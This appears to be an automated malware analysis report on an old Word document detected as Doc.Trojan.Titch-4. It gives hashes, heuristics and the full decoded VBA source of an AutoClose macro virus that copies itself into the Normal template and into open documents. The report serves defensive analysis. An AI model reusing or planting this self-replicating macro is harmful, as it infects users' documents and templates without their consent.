Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 145b780eb5d6ed5d…

MALICIOUS

Office (OLE)

28.5 KB Created: 2000-06-22 06:28:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 491783c009d435c79fd4c0cda393f97a SHA-1: 4c7b0a538e6168f47d313e6dc45344884e4655f6 SHA-256: 145b780eb5d6ed5d144ab49b48bfb36c199633541af5ce1ae894a55832dd31fa
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a legacy WordBasic AutoClose macro, identified as 'titch'. This macro attempts to copy itself to the Normal template and the active document, suggesting a self-propagation or persistence mechanism. The macro's comments indicate it's an experiment with minimal stealth, but its actions are indicative of malware behavior.

Heuristics 4

  • ClamAV: Doc.Trojan.Titch-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Titch-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1600 bytes
SHA-256: 28baabc08728eee5f0fa7abc2e6c4e797bb24985e73f71b3c0775d1738a276e9
Detection
ClamAV: Doc.Trojan.Titch-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "titch"
Sub AutoClose()
'Titch
'An experiment in Macro programming ;)
'Minimum stealth, no encryption, No payload, No mail replication
'If you had looked you could have found and deleted it but..
'You probably never knew it was here!
  On Error Resume Next
  Application.Options.VirusProtection = True
  Application.Options.SaveNormalPrompt = True
  Application.Options.ConfirmConversions = True
  Dim x As Integer
  Dim found As Boolean
  found = False
  x = 1
  For x = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents.Item(x).CodeModule.Lines(2, 1) = "'Titch" Then found = True
  Next x
  If Not found Then
    Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "titch", wdOrganizerObjectProjectItems
  End If
  If NormalTemplate.Saved = False Then NormalTemplate.Save
  
  found = False
  x = 1
  For x = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents.Item(x).CodeModule.Lines(2, 1) = "'Titch" Then found = True
  Next x
  If Not found Then
    NormalTemplate.VBProject.VBComponents("titch").Export ("c:\titch.tmp")
    ActiveDocument.VBProject.VBComponents.Import ("c:\titch.tmp")
    ActiveDocument.SaveAs ActiveDocument.FullName
    Kill ("c:\titch.tmp")
  End If
End Sub